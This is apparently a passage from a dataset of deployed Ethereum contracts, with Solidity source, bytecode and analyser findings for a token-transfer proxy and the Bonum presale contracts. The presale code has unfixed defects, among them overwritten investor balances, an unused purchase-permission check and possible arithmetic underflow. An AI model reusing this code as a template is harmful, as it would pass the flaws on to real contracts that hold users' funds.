00000000000604482015260640161063a565b5050565b60006109808284610c6a565b9050828110156103e457600080fd5b6001600160a01b0383166109f15760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161063a565b6001600160a01b038216610a525760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161063a565b6001600160a01b038381166000818152600a602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600780546001600160a01b0319166001600160a01b038416179055610ae5610adc826002610c82565b60055490610974565b600555610b15610af6826002610c82565b6001600160a01b03841660009081526009602052604090205490610974565b6001600160a01b0390921660009081526009602052604090209190915550565b600060208284031215610b4757600080fd5b813561088f81610d09565b600060208284031215610b6457600080fd5b815161088f81610d09565b60008060408385031215610b8257600080fd5b8235610b8d81610d09565b91506020830135610b9d81610d09565b809150509250929050565b600080600060608486031215610bbd57600080fd5b8335610bc881610d09565b92506020840135610bd881610d09565b929592945050506040919091013590565b60008060408385031215610bfc57600080fd5b8235610c0781610d09565b946020939093013593505050565b600060208083528351808285015260005b81811015610c4257858101830151858201604001528201610c26565b81811115610c54576000604083870101525b50601f01601f1916929092016040019392505050565b60008219821115610c7d57610c7d610cf3565b500190565b6000816000190483118215151615610c9c57610c9c610cf3565b500290565b600082821015610cb357610cb3610cf3565b500390565b600181811c90821680610ccc57607f821691505b60208210811415610ced57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b0381168114610d1e57600080fd5b5056fea26469706673582212207366b87ac197d03dc36ddbd38edf7d13aa919e07f1351ce10126bd32028fda5b64736f6c63430008050033
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
5,006
0xd88bbb6b0eb6ddc6c18c8d298482ebae4da0e0d4
//SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.4; interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of NFTs in `owner`'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the NFT specified by `tokenId`. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Transfers a specific NFT (`tokenId`) from one account (`from`) to * another (`to`). * * * * Requirements: * - `from`, `to` cannot be zero. * - `tokenId` must be owned by `from`. * - `tokenId` must be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this * NFT by either {approve} or {setApprovalForAll}. */ function safeTransferFrom(address from, address to, uint256 tokenId) external; /** * @dev Transfers a specific NFT (`tokenId`) from one account (`from`) to * another (`to`). * * Requirements: * - If the caller is not `from`, it must be approved to move this NFT by * either {approve} or {setApprovalForAll}. */ function transferFrom(address from, address to, uint256 tokenId) external; function approve(address to, uint256 tokenId) external; function getApproved(uint256 tokenId) external view returns (address operator); function setApprovalForAll(address operator, bool _approved) external; function isApprovedForAll(address owner, address operator) external view returns (bool); function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external; } interface IERC1155 is IERC165 { /** @dev Either `TransferSingle` or `TransferBatch` MUST emit when tokens are transferred, including zero value transfers as well as minting or burning (see "Safe Transfer Rules" section of the standard). The `_operator` argument MUST be msg.sender. The `_from` argument MUST be the address of the holder whose balance is decreased. The `_to` argument MUST be the address of the recipient whose balance is increased. The `_id` argument MUST be the token type being transferred. The `_value` argument MUST be the number of tokens the holder balance is decreased by and match what the recipient balance is increased by. When minting/creating tokens, the `_from` argument MUST be set to `0x0` (i.e. zero address). When burning/destroying tokens, the `_to` argument MUST be set to `0x0` (i.e. zero address). */ event TransferSingle(address indexed _operator, address indexed _from, address indexed _to, uint256 _id, uint256 _value); /** @dev Either `TransferSingle` or `TransferBatch` MUST emit when tokens are transferred, including zero value transfers as well as minting or burning (see "Safe Transfer Rules" section of the standard). The `_operator` argument MUST be msg.sender. The `_from` argument MUST be the address of the holder whose balance is decreased. The `_to` argument MUST be the address of the recipient whose balance is increased. The `_ids` argument MUST be the list of tokens being transferred. The `_values` argument MUST be the list of number of tokens (matching the list and order of tokens specified in _ids) the holder balance is decreased by and match what the recipient balance is increased by. When minting/creating tokens, the `_from` argument MUST be set to `0x0` (i.e. zero address). When burning/destroying tokens, the `_to` argument MUST be set to `0x0` (i.e. zero address). */ event TransferBatch(address indexed _operator, address indexed _from, address indexed _to, uint256[] _ids, uint256[] _values); /** @dev MUST emit when approval for a second party/operator address to manage all tokens for an owner address is enabled or disabled (absense of an event assumes disabled). */ event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved); /** @dev MUST emit when the URI is updated for a token ID. URIs are defined in RFC 3986. The URI MUST point a JSON file that conforms to the "ERC-1155 Metadata URI JSON Schema". */ event URI(string _value, uint256 indexed _id); /** @notice Transfers `_value` amount of an `_id` from the `_from` address to the `_to` address specified (with safety call). @dev Caller must be approved to manage the tokens being transferred out of the `_from` account (see "Approval" section of the standard). MUST revert if `_to` is the zero address. MUST revert if balance of holder for token `_id` is lower than the `_value` sent. MUST revert on any other error. MUST emit the `TransferSingle` event to reflect the balance change (see "Safe Transfer Rules" section of the standard). After the above conditions are met, this function MUST check if `_to` is a smart contract (e.g. code size > 0). If so, it MUST call `onERC1155Received` on `_to` and act appropriately (see "Safe Transfer Rules" section of the standard). @param _from Source address @param _to Target address @param _id ID of the token type @param _value Transfer amount @param _data Additional data with no specified format, MUST be sent unaltered in call to `onERC1155Received` on `_to` */ function safeTransferFrom(address _from, address _to, uint256 _id, uint256 _value, bytes calldata _data) external; /** @notice Transfers `_values` amount(s) of `_ids` from the `_from` address to the `_to` address specified (with safety call). @dev Caller must be approved to manage the tokens being transferred out of the `_from` account (see "Approval" section of the standard). MUST revert if `_to` is the zero address. MUST revert if length of `_ids` is not the same as length of `_values`. MUST revert if any of the balance(s) of the holder(s) for token(s) in `_ids` is lower than the respective amount(s) in `_values` sent to the recipient. MUST revert on any other error. MUST emit `TransferSingle` or `TransferBatch` event(s) such that all the balance changes are reflected (see "Safe Transfer Rules" section of the standard). Balance changes and events MUST follow the ordering of the arrays (_ids[0]/_values[0] before _ids[1]/_values[1], etc). After the above conditions for the transfer(s) in the batch are met, this function MUST check if `_to` is a smart contract (e.g. code size > 0). If so, it MUST call the relevant `ERC1155TokenReceiver` hook(s) on `_to` and act appropriately (see "Safe Transfer Rules" section of the standard). @param _from Source address @param _to Target address @param _ids IDs of each token type (order and length must match _values array) @param _values Transfer amounts per token type (order and length must match _ids array) @param _data Additional data with no specified format, MUST be sent unaltered in call to the `ERC1155TokenReceiver` hook(s) on `_to` */ function safeBatchTransferFrom(address _from, address _to, uint256[] calldata _ids, uint256[] calldata _values, bytes calldata _data) external; /** @notice Get the balance of an account's Tokens. @param _owner The address of the token holder @param _id ID of the Token @return The _owner's balance of the Token type requested */ function balanceOf(address _owner, uint256 _id) external view returns (uint256); /** @notice Get the balance of multiple account/token pairs @param _owners The addresses of the token holders @param _ids ID of the Tokens @return The _owner's balance of the Token types requested (i.e. balance for each (owner, id) pair) */ function balanceOfBatch(address[] calldata _owners, uint256[] calldata _ids) external view returns (uint256[] memory); /** @notice Enable or disable approval for a third party ("operator") to manage all of the caller's tokens. @dev MUST emit the ApprovalForAll event on success. @param _operator Address to add to the set of authorized operators @param _approved True if the operator is approved, false to revoke approval */ function setApprovalForAll(address _operator, bool _approved) external; /** @notice Queries the approval status of an operator for a given owner. @param _owner The owner of the Tokens @param _operator Address of authorized operator @return True if the operator is approved, false if not */ function isApprovedForAll(address _owner, address _operator) external view returns (bool); } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract TransferProxy { event operatorChanged(address indexed from, address indexed to); event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); address public owner; address public operator; constructor() { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner == msg.sender, "Ownable: caller is not the owner"); _; } modifier onlyOperator() { require(operator == msg.sender, "OperatorRole: caller does not have the Operator role"); _; } /** change the OperatorRole from contract creator address to trade contractaddress @param _operator :trade address */ function changeOperator(address _operator) public onlyOwner returns(bool) { require(_operator != address(0), "Operator: new operator is the zero address"); operator = _operator; emit operatorChanged(address(0),operator); return true; } /** change the Ownership from current owner to newOwner address @param newOwner : newOwner address */ function ownerTransfership(address newOwner) public onlyOwner returns(bool){ require(newOwner != address(0), "Ownable: new owner is the zero address"); owner = newOwner; emit OwnershipTransferred(owner, newOwner); return true; } function erc721safeTransferFrom(IERC721 token, address from, address to, uint256 tokenId) external onlyOperator { token.safeTransferFrom(from, to, tokenId); } function erc1155safeTransferFrom(IERC1155 token, address from, address to, uint256 tokenId, uint256 value, bytes calldata data) external onlyOperator { token.safeTransferFrom(from, to, tokenId, value, data); } function erc20safeTransferFrom(IERC20 token, address from, address to, uint256 value) external onlyOperator { require(token.transferFrom(from, to, value), "failure while transferring"); } }
0x608060405234801561001057600080fd5b506004361061007d5760003560e01c8063776062c31161005b578063776062c3146100e85780638da5cb5b146100fd5780639c1c2ee914610110578063f709b9061461012357600080fd5b806306394c9b14610082578063570ca735146100aa5780636fdc202f146100d5575b600080fd5b61009561009036600461059b565b610136565b60405190151581526020015b60405180910390f35b6001546100bd906001600160a01b031681565b6040516001600160a01b0390911681526020016100a1565b6100956100e336600461059b565b610250565b6100fb6100f6366004610697565b610360565b005b6000546100bd906001600160a01b031681565b6100fb61011e3660046105de565b610466565b6100fb610131366004610697565b610501565b600080546001600160a01b031633146101965760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b6001600160a01b0382166101ff5760405162461bcd60e51b815260206004820152602a60248201527f4f70657261746f723a206e6577206f70657261746f7220697320746865207a65604482015269726f206164647265737360b01b606482015260840161018d565b600180546001600160a01b0319166001600160a01b0384169081179091556040516000907f1a377613c0f1788c756a416e15f930cf9e84c3a5e808fa2f00b5a18a91a7b864908290a3506001919050565b600080546001600160a01b031633146102ab5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161018d565b6001600160a01b0382166103105760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161018d565b600080546001600160a01b0319166001600160a01b0384169081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a3506001919050565b6001546001600160a01b0316331461038a5760405162461bcd60e51b815260040161018d90610740565b6040516323b872dd60e01b81526001600160a01b0384811660048301528381166024830152604482018390528516906323b872dd90606401602060405180830381600087803b1580156103dc57600080fd5b505af11580156103f0573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061041491906105be565b6104605760405162461bcd60e51b815260206004820152601a60248201527f6661696c757265207768696c65207472616e7366657272696e67000000000000604482015260640161018d565b50505050565b6001546001600160a01b031633146104905760405162461bcd60e51b815260040161018d90610740565b604051637921219560e11b81526001600160a01b0388169063f242432a906104c6908990899089908990899089906004016106e7565b600060405180830381600087803b1580156104e057600080fd5b505af11580156104f4573d6000803e3d6000fd5b5050505050505050505050565b6001546001600160a01b0316331461052b5760405162461bcd60e51b815260040161018d90610740565b604051632142170760e11b81526001600160a01b0384811660048301528381166024830152604482018390528516906342842e0e90606401600060405180830381600087803b15801561057d57600080fd5b505af1158015610591573d6000803e3d6000fd5b5050505050505050565b6000602082840312156105ac578081fd5b81356105b781610794565b9392505050565b6000602082840312156105cf578081fd5b815180151581146105b7578182fd5b600080600080600080600060c0888a0312156105f8578283fd5b873561060381610794565b9650602088013561061381610794565b9550604088013561062381610794565b9450606088013593506080880135925060a088013567ffffffffffffffff8082111561064d578384fd5b818a0191508a601f830112610660578384fd5b81358181111561066e578485fd5b8b602082850101111561067f578485fd5b60208301945080935050505092959891949750929550565b600080600080608085870312156106ac578384fd5b84356106b781610794565b935060208501356106c781610794565b925060408501356106d781610794565b9396929550929360600135925050565b6001600160a01b03878116825286166020820152604081018590526060810184905260a06080820181905281018290526000828460c084013781830160c090810191909152601f909201601f1916010195945050505050565b60208082526034908201527f4f70657261746f72526f6c653a2063616c6c657220646f6573206e6f74206861604082015273766520746865204f70657261746f7220726f6c6560601b606082015260800190565b6001600160a01b03811681146107a957600080fd5b5056fea26469706673582212205fbea5fb46d2d617d0e5af55b6dc5b34e5be7808a8cc1c7b9879e99be54462b064736f6c63430008040033
{"success": true, "error": null, "results": {}}
5,007
0xa12667757d73866417364680efbfd69c70cf767d
pragma solidity ^0.4.17; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; Unpause(); } } contract InvestorsList is Ownable { using SafeMath for uint; /* Investor */ enum WhiteListStatus {Usual, WhiteList, PreWhiteList} struct Investor { bytes32 id; uint tokensCount; address walletForTokens; WhiteListStatus whiteListStatus; bool isVerified; } /*Investor's end*/ mapping (address => bool) manipulators; mapping (address => bytes32) public nativeInvestorsIds; mapping (bytes32 => Investor) public investorsList; /*Manipulators*/ modifier allowedToManipulate(){ require(manipulators[msg.sender] || msg.sender == owner); _; } function changeManipulatorAddress(address saleAddress, bool isAllowedToManipulate) external onlyOwner{ require(saleAddress != 0x0); manipulators[saleAddress] = isAllowedToManipulate; } /*Manipulators' end*/ function setInvestorId(address investorAddress, bytes32 id) external onlyOwner{ require(investorAddress != 0x0 && id != 0); nativeInvestorsIds[investorAddress] = id; } function addInvestor( bytes32 id, WhiteListStatus status, bool isVerified ) external onlyOwner { require(id != 0); require(investorsList[id].id == 0); investorsList[id].id = id; investorsList[id].tokensCount = 0; investorsList[id].whiteListStatus = status; investorsList[id].isVerified = isVerified; } function removeInvestor(bytes32 id) external onlyOwner { require(id != 0 && investorsList[id].id != 0); investorsList[id].id = 0; } function isAllowedToBuyByAddress(address investor) external view returns(bool){ require(investor != 0x0); bytes32 id = nativeInvestorsIds[investor]; require(id != 0 && investorsList[id].id != 0); return investorsList[id].isVerified; } function isAllowedToBuyByAddressWithoutVerification(address investor) external view returns(bool){ require(investor != 0x0); bytes32 id = nativeInvestorsIds[investor]; require(id != 0 && investorsList[id].id != 0); return true; } function isAllowedToBuy(bytes32 id) external view returns(bool){ require(id != 0 && investorsList[id].id != 0); return investorsList[id].isVerified; } function isPreWhiteListed(bytes32 id) external constant returns(bool){ require(id != 0 && investorsList[id].id != 0); return investorsList[id].whiteListStatus == WhiteListStatus.PreWhiteList; } function isWhiteListed(bytes32 id) external view returns(bool){ require(id != 0 && investorsList[id].id != 0); return investorsList[id].whiteListStatus == WhiteListStatus.WhiteList; } function setVerificationStatus(bytes32 id, bool status) external onlyOwner{ require(id != 0 && investorsList[id].id != 0); investorsList[id].isVerified = status; } function setWhiteListStatus(bytes32 id, WhiteListStatus status) external onlyOwner{ require(id != 0 && investorsList[id].id != 0); investorsList[id].whiteListStatus = status; } function addTokens(bytes32 id, uint tokens) external allowedToManipulate{ require(id != 0 && investorsList[id].id != 0); investorsList[id].tokensCount = investorsList[id].tokensCount.add(tokens); } function subTokens(bytes32 id, uint tokens) external allowedToManipulate{ require(id != 0 && investorsList[id].id != 0); investorsList[id].tokensCount = investorsList[id].tokensCount.sub(tokens); } function setWalletForTokens(bytes32 id, address wallet) external onlyOwner{ require(id != 0 && investorsList[id].id != 0); investorsList[id].walletForTokens = wallet; } } contract BonumPreSale is Pausable{ using SafeMath for uint; string public constant name = "Bonum PreSale"; uint public startDate; uint public endDate; uint public whiteListPreSaleDuration = 1 days; function setWhiteListDuration(uint duration) external onlyOwner{ require(duration > 0); whiteListPreSaleDuration = duration * 1 days; } uint public fiatValueMultiplier = 10**6; uint public tokenDecimals = 10**18; InvestorsList public investors; address beneficiary; uint public ethUsdRate; uint public collected = 0; uint public tokensSold = 0; uint public tokensSoldWithBonus = 0; uint[] firstColumn; uint[] secondColumn; event NewContribution(address indexed holder, uint tokenAmount, uint etherAmount); function BonumPreSale( uint _startDate, uint _endDate, address _investors, address _beneficiary, uint _baseEthUsdRate ) public { startDate = _startDate; endDate = _endDate; investors = InvestorsList(_investors); beneficiary = _beneficiary; ethUsdRate = _baseEthUsdRate; initBonusSystem(); } function initBonusSystem() private{ firstColumn.push(1750000); firstColumn.push(10360000); firstColumn.push(18980000); firstColumn.push(25000000); secondColumn.push(1560000); secondColumn.push(9220000); secondColumn.push(16880000); secondColumn.push(22230000); } function setNewBeneficiary(address newBeneficiary) external onlyOwner { require(newBeneficiary != 0x0); beneficiary = newBeneficiary; } function setEthUsdRate(uint rate) external onlyOwner { require(rate > 0); ethUsdRate = rate; } function setNewStartDate(uint newStartDate) external onlyOwner{ require(newStartDate > 0); startDate = newStartDate; } function setNewEndDate(uint newEndDate) external onlyOwner{ require(newEndDate > 0); endDate = newEndDate; } function setNewInvestorsList(address investorsList) external onlyOwner { require(investorsList != 0x0); investors = InvestorsList(investorsList); } modifier activePreSale(){ require(now >= startDate && now < endDate); _; } modifier underCap(){ require(tokensSold < uint(750000).mul(tokenDecimals)); _; } modifier isAllowedToBuy(){ require(investors.isAllowedToBuyByAddressWithoutVerification(msg.sender)); _; } modifier minimumAmount(){ require(msg.value.mul(ethUsdRate).div(fiatValueMultiplier.mul(1 ether)) >= 100); _; } mapping (address => uint) public nativeInvestors; function() payable public whenNotPaused activePreSale minimumAmount underCap{ uint tokens = msg.value.mul(ethUsdRate).div(fiatValueMultiplier); tokensSold = tokensSold.add(tokens); tokens = tokens.add(calculateBonus(tokens)); nativeInvestors[msg.sender] = tokens; tokensSoldWithBonus = tokensSoldWithBonus.add(tokens); nativeInvestors[msg.sender] = tokens; NewContribution(msg.sender, tokens, msg.value); collected = collected.add(msg.value); beneficiary.transfer(msg.value); } //usd * 10^6 function otherCoinsPurchase(bytes32 id, uint amountInUsd) external whenNotPaused underCap activePreSale onlyOwner { require(id.length > 0 && amountInUsd >= (uint(100).mul(fiatValueMultiplier)) && investors.isAllowedToBuy(id)); uint tokens = amountInUsd.mul(tokenDecimals).div(fiatValueMultiplier); tokensSold = tokensSold.add(tokens); tokens = tokens.add(calculateBonus(tokens)); tokensSoldWithBonus = tokensSoldWithBonus.add(tokens); investors.addTokens(id, tokens); } function calculateBonus(uint tokensCount) public constant returns (uint){ //+1 because needs whole days uint day = ((now.sub(startDate.add(whiteListPreSaleDuration))).div(1 days)).add(1); uint B1; uint B2; if (tokensCount < uint(1000).mul(tokenDecimals)) { B1 = (((tokensCount - 100 * tokenDecimals) * (firstColumn[1] - firstColumn[0])) / ((1000-100) * tokenDecimals)) + firstColumn[0]; B2 = (((tokensCount - 100 * tokenDecimals) * (secondColumn[1] - secondColumn[0])) / ((1000-100) * tokenDecimals)) + secondColumn[0]; } if (tokensCount >= uint(1000).mul(tokenDecimals) && tokensCount < uint(10000).mul(tokenDecimals)) { B1 = (((tokensCount - 1000 * tokenDecimals) * (firstColumn[2] - firstColumn[1])) / ((10000-1000) * tokenDecimals)) + firstColumn[1]; B2 = (((tokensCount - 1000 * tokenDecimals) * (secondColumn[2] - secondColumn[1])) / ((10000-1000) * tokenDecimals)) + secondColumn[1]; } if (tokensCount >= uint(10000).mul(tokenDecimals) && tokensCount < uint(50000).mul(tokenDecimals)) { B1 = (((tokensCount - 10000 * tokenDecimals) * (firstColumn[3] - firstColumn[2])) / ((50000-10000) * tokenDecimals)) + firstColumn[2]; B2 = (((tokensCount - 10000 * tokenDecimals) * (secondColumn[3] - secondColumn[2])) / ((50000-10000) * tokenDecimals)) + secondColumn[2]; } if (tokensCount >= uint(50000).mul(tokenDecimals)) { B1 = firstColumn[3]; B2 = secondColumn[3]; } uint bonusPercent = B1.sub(((day - 1).mul(B1 - B2)).div(12)); return calculateBonusTokensAmount(tokensCount, bonusPercent); } function calculateBonusTokensAmount(uint tokensCount, uint bonusPercent) private constant returns(uint){ uint bonus = tokensCount.mul(bonusPercent); bonus = bonus.div(100); bonus = bonus.div(fiatValueMultiplier); return bonus; } }
0x606060405260043610610149576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146103d95780630b97bc861461046757806313f0790c14610490578063145fa890146104b95780631e860d43146104dc5780632820f454146105155780633b478fc51461054e5780633b97e856146105775780633f4ba83a146105a057806350449d9d146105b5578063518ab2a8146105de5780635c975abb146106075780636081f5cb146106345780636287c20e1461066b5780636621b7be146106b85780636cc6971b146106e15780638456cb591461070457806384bcefd4146107195780638ac27f5f146107425780638da5cb5b14610797578063ae7e23cc146107ec578063b9e4d0981461081c578063c24a0f8b1461083f578063f2fde38b14610868578063fb6f93a4146108a1575b60008060149054906101000a900460ff1615151561016657600080fd5b6001544210158015610179575060025442105b151561018457600080fd5b60646101c96101a6670de0b6b3a76400006004546108c490919063ffffffff16565b6101bb600854346108c490919063ffffffff16565b6108f790919063ffffffff16565b101515156101d657600080fd5b6101ee600554620b71b06108c490919063ffffffff16565b600a541015156101fd57600080fd5b610226600454610218600854346108c490919063ffffffff16565b6108f790919063ffffffff16565b905061023d81600a5461091290919063ffffffff16565b600a8190555061025e61024f82610930565b8261091290919063ffffffff16565b905080600e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506102b981600b5461091290919063ffffffff16565b600b8190555080600e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff167f16d99cb06fd9528f88184dd0483174a09cfd8312c28639858734b0c449cc05b88234604051808381526020018281526020019250505060405180910390a261036e3460095461091290919063ffffffff16565b600981905550600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f1935050505015156103d657600080fd5b50005b34156103e457600080fd5b6103ec610d8c565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561042c578082015181840152602081019050610411565b50505050905090810190601f1680156104595780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561047257600080fd5b61047a610dc5565b6040518082815260200191505060405180910390f35b341561049b57600080fd5b6104a3610dcb565b6040518082815260200191505060405180910390f35b34156104c457600080fd5b6104da6004808035906020019091905050610dd1565b005b34156104e757600080fd5b610513600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610e4a565b005b341561052057600080fd5b61054c600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610f0f565b005b341561055957600080fd5b610561610fd4565b6040518082815260200191505060405180910390f35b341561058257600080fd5b61058a610fda565b6040518082815260200191505060405180910390f35b34156105ab57600080fd5b6105b3610fe0565b005b34156105c057600080fd5b6105c861109e565b6040518082815260200191505060405180910390f35b34156105e957600080fd5b6105f16110a4565b6040518082815260200191505060405180910390f35b341561061257600080fd5b61061a6110aa565b604051808215151515815260200191505060405180910390f35b341561063f57600080fd5b6106556004808035906020019091905050610930565b6040518082815260200191505060405180910390f35b341561067657600080fd5b6106a2600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506110bd565b6040518082815260200191505060405180910390f35b34156106c357600080fd5b6106cb6110d5565b6040518082815260200191505060405180910390f35b34156106ec57600080fd5b61070260048080359060200190919050506110db565b005b341561070f57600080fd5b61071761114f565b005b341561072457600080fd5b61072c61120f565b6040518082815260200191505060405180910390f35b341561074d57600080fd5b610755611215565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156107a257600080fd5b6107aa61123b565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156107f757600080fd5b61081a600480803560001916906020019091908035906020019091905050611260565b005b341561082757600080fd5b61083d600480803590602001909190505061153b565b005b341561084a57600080fd5b6108526115af565b6040518082815260200191505060405180910390f35b341561087357600080fd5b61089f600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506115b5565b005b34156108ac57600080fd5b6108c2600480803590602001909190505061170a565b005b600080828402905060008414806108e557508284828115156108e257fe5b04145b15156108ed57fe5b8091505092915050565b600080828481151561090557fe5b0490508091505092915050565b600080828401905083811015151561092657fe5b8091505092915050565b6000806000806000610989600161097b6201518061096d61095e60035460015461091290919063ffffffff16565b4261177e90919063ffffffff16565b6108f790919063ffffffff16565b61091290919063ffffffff16565b93506109a26005546103e86108c490919063ffffffff16565b861015610a8e57600c60008154811015156109b957fe5b90600052602060002090015460055461038402600c60008154811015156109dc57fe5b906000526020600020900154600c60018154811015156109f857fe5b90600052602060002090015403600554606402890302811515610a1757fe5b04019250600d6000815481101515610a2b57fe5b90600052602060002090015460055461038402600d6000815481101515610a4e57fe5b906000526020600020900154600d6001815481101515610a6a57fe5b90600052602060002090015403600554606402890302811515610a8957fe5b040191505b610aa56005546103e86108c490919063ffffffff16565b8610158015610ac95750610ac66005546127106108c490919063ffffffff16565b86105b15610bb557600c6001815481101515610ade57fe5b90600052602060002090015460055461232802600c6001815481101515610b0157fe5b906000526020600020900154600c6002815481101515610b1d57fe5b906000526020600020900154036005546103e802890302811515610b3d57fe5b04019250600d6001815481101515610b5157fe5b90600052602060002090015460055461232802600d6001815481101515610b7457fe5b906000526020600020900154600d6002815481101515610b9057fe5b906000526020600020900154036005546103e802890302811515610bb057fe5b040191505b610bcc6005546127106108c490919063ffffffff16565b8610158015610bf05750610bed60055461c3506108c490919063ffffffff16565b86105b15610cdc57600c6002815481101515610c0557fe5b906000526020600020900154600554619c4002600c6002815481101515610c2857fe5b906000526020600020900154600c6003815481101515610c4457fe5b9060005260206000209001540360055461271002890302811515610c6457fe5b04019250600d6002815481101515610c7857fe5b906000526020600020900154600554619c4002600d6002815481101515610c9b57fe5b906000526020600020900154600d6003815481101515610cb757fe5b9060005260206000209001540360055461271002890302811515610cd757fe5b040191505b610cf360055461c3506108c490919063ffffffff16565b86101515610d3857600c6003815481101515610d0b57fe5b9060005260206000209001549250600d6003815481101515610d2957fe5b90600052602060002090015491505b610d75610d66600c610d58858703600189036108c490919063ffffffff16565b6108f790919063ffffffff16565b8461177e90919063ffffffff16565b9050610d818682611797565b945050505050919050565b6040805190810160405280600d81526020017f426f6e756d2050726553616c650000000000000000000000000000000000000081525081565b60015481565b600b5481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e2c57600080fd5b600081111515610e3b57600080fd5b62015180810260038190555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610ea557600080fd5b60008173ffffffffffffffffffffffffffffffffffffffff1614151515610ecb57600080fd5b80600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f6a57600080fd5b60008173ffffffffffffffffffffffffffffffffffffffff1614151515610f9057600080fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60085481565b60055481565b6000809054906101000a900473ff